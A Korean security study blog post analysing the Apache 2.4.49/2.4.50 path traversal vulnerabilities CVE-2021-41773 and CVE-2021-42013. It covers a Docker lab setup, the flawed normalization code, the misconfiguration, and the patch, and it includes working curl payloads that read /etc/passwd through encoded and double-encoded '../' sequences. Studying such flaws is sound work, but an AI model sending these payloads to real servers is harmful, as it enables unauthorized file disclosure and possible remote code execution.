일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | ||||
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 |
- kernel img
- xz-utils
- liblzma
- 백도어
- cwe-506
- kernel image
- newbie
- Kernel
- kernel build
- rootfs
- CVE-2024-3094
- Today
- Total
ZZoMb1E
[CVE] Apache2 (CVE-2021-41773 & CVE-2021-42013) 본문
이번에는 WEB 취약점을 들고 왔다.
매우 간단하지만 패치 미흡으로 인해 CVE가 2개나 나와버린 취약점이다.
1. Target
apache2
- 오픈 소스 기반의 HTTP 웹 서버 소프트웨어
- Version
- 2.4.49
- 2.4.50
2. CVE & CWE
CVE-2021-41773
Apache HTTP Server에서 발견된 경로 우회(Path Traversal) 및 파일 노출(File Disclosure) 취약점. 악의적인 사용자가 서버에서 허용되지 않은 파일에 접근하거나 원격 코드 실행(RCE) 가능
: Apache HTTP Server(버전 2.4.49 및 2.4.50)에서 발생
- 문자열 필터링이 미흡하여 취약점이 발생
CVE-2021-42013
CVE-2021-41773의 패치가 미흡하여 발생하게되는 취약점
CWE-22
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
애플리케이션이 사용자 입력을 적절히 검증하지 않고 파일 또는 디렉터리에 접근하는 데 사용하는 경우 발생하는 취약점
공격자는 이를 악용하여 의도된 디렉터리 외부의 민감한 파일에 접근하거나 시스템을 조작 가능
3. CVE 관련 정보
https://nvd.nist.gov/vuln/detail/cve-2021-42013
NVD - cve-2021-42013
CVE-2021-42013 Detail Modified This vulnerability has been modified since it was last analyzed by the NVD. It is awaiting reanalysis which may result in further changes to the information provided. Description It was found that the fix for CVE-2021-41773 i
nvd.nist.gov
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42013
CVE - CVE-2021-42013
20211006 Disclaimer: The record creation date may reflect when the CVE ID was allocated or reserved, and does not necessarily indicate when this vulnerability was discovered, shared with the affected vendor, publicly disclosed, or updated in CVE.
cve.mitre.org
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773
CVE - CVE-2021-41773
A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are
cve.mitre.org
https://nvd.nist.gov/vuln/detail/cve-2021-41773
NVD - cve-2021-41773
CVE-2021-41773 Detail Modified This vulnerability has been modified since it was last analyzed by the NVD. It is awaiting reanalysis which may result in further changes to the information provided. Description A flaw was found in a change made to path norm
nvd.nist.gov
4. Environment
docker pull blueteamsteve/cve-2021-41773:no-cgid
docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:no-cgid
git에 올라와있는 Dockerfile 수정하여 진행하였다.
FROM debian:bullseye
RUN apt-get update && apt-get install -y \
libssl1.1 \
libldap-2.4-2 \
libpcre3 \
perl \
libxml2 \
libaprutil1-dbd-sqlite3 \
libnghttp2-14 \
libaprutil1-ldap \
libbrotli1 \
libcurl4 \
libjansson4 \
liblua5.3-0 \
procps \
mime-support \
&& apt-get clean
ADD apache2_2.4.49-4_amd64.deb \
apache2-bin_2.4.49-4_amd64.deb \
apache2-data_2.4.49-4_all.deb \
apache2-utils_2.4.49-4_amd64.deb /
RUN dpkg -i /apache2-utils_2.4.49-4_amd64.deb \
/apache2-data_2.4.49-4_all.deb \
/apache2-bin_2.4.49-4_amd64.deb \
/apache2_2.4.49-4_amd64.deb || apt-get -f install -y
ADD entry.sh /entry.sh
ADD 000-default.conf /etc/apache2/sites-enabled/000-default.conf
RUN chmod 755 /entry.sh \
&& chown -R www-data:www-data /var/www/html \
&& mkdir -p /var/run/apache2 \
&& a2enmod cgi
EXPOSE 80
ENTRYPOINT ["/entry.sh"]
4. Vulnerability
취약점은 2개의 설정 미흡으로 인해 발생하게 된다.
/usr/local/apache2/conf/httpd.conf 설정 미흡
<Directory "/usr/local/apache2/cgi-bin">
AllowOverride None
Options None
Require all granted
</Directory>
<Directory />
AllowOverride none
Require all granted
</Directory>
해당 경로의 파일을 살펴보면 Directory 관련 설정이 위와 같이 되있는 것을 볼 수 있다.
Directory Listing을 방지하기 위해서는 해당 설정을 granted에서 denied로 설정이 되어야 한다.
<Directory "/usr/local/apache2/cgi-bin">
AllowOverride None
Options None
Require all denied
</Directory>
<Directory />
AllowOverride none
Require all denied
</Directory>
또 하나의 발생 원인은 필터링 미흡이다.
if (path[l] == '.') {
/* Remove /./ segments */
if (IS_SLASH_OR_NUL(path[l + 1])) {
l++;
if (path[l]) {
l++;
}
continue;
}
/* Remove /xx/../ segments */
if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
/* Wind w back to remove the previous segment */
if (w > 1) {
do {
w--;
} while (w && !IS_SLASH(path[w - 1]));
}
else {
/* Already at root, ignore and return a failure
* if asked to.
*/
if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
ret = 0;
}
}
/* Move l forward to the next segment */
l += 2;
if (path[l]) {
l++;
}
continue;
}
'.'에 대해서 설정 해주는 코드인데 이때 '../'에 대해서만 필터링을 걸고 있다.
때문에 URL Encoding을 통해 '../'을 '.%2e/'로 bypass가 가능하다.
CVE-2021-42013은 CVE-2021-41773 발생 원인인 위 구조에서 몇가지 패치가 되었지만 미흡하여 동일한 취약점이 발생한다.
URL Encoding에 대해서는 패치가 되었지만 double URL Encoding으로 bypass 가 가능하다.
5. PoC
CVE-2021-41773 PoC
curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd
CVE-2021-42013 PoC
curl http://localhost:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
PoC 실습을 할 때 /etc/passwd를 읽는 것을 목적으로 하였지만 /bin/sh를 실행하게 하거나 하면은 RCE로 이어지게 된다.
6. Patch
if (path[l] == '.') {
/* Remove /./ segments */
if (IS_SLASH_OR_NUL(path[l + 1])) {
l++;
if (path[l]) {
l++;
}
continue;
}
/* Remove /xx/../ segments (or /xx/.%2e/ when
* AP_NORMALIZE_DECODE_UNRESERVED is set since we
* decoded only the first dot above).
*/
n = l + 1;
if ((path[n] == '.' || (decode_unreserved
&& path[n] == '%'
&& path[++n] == '2'
&& (path[++n] == 'e'
|| path[n] == 'E')))
&& IS_SLASH_OR_NUL(path[n + 1])) {
/* Wind w back to remove the previous segment */
if (w > 1) {
do {
w--;
} while (w && !IS_SLASH(path[w - 1]));
}
else {
/* Already at root, ignore and return a failure
* if asked to.
*/
if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
ret = 0;
}
}
/* Move l forward to the next segment */
l = n + 1;
if (path[l]) {
l++;
}
continue;
}
'../' 필터링 뿐만 아니라 %,2,e,E 에 대한 검사를 추가하면서 Encoding에 대한 방지를 하였다.
<Directory />
AllowOverride none
Require all denied
</Directory>
뿐만 아니라 httpd.conf 파일에서도 기본 설정이 denied로 바뀌었다.
'STUDY > CVE && Fuzzing' 카테고리의 다른 글
[CVE] twisted.web module (CVE-2024-41671) (0) | 2025.01.22 |
---|---|
[CVE] nf_tabes (CVE-2024-1086) (1) | 2025.01.16 |
[CVE] nf_tables (CVE-2022-32250) (0) | 2024.11.26 |
[CVE] nf_tables (CVE-2022-1016) (0) | 2024.11.21 |
[CVE] nf_tables (CVE-2022-1015) (0) | 2024.11.15 |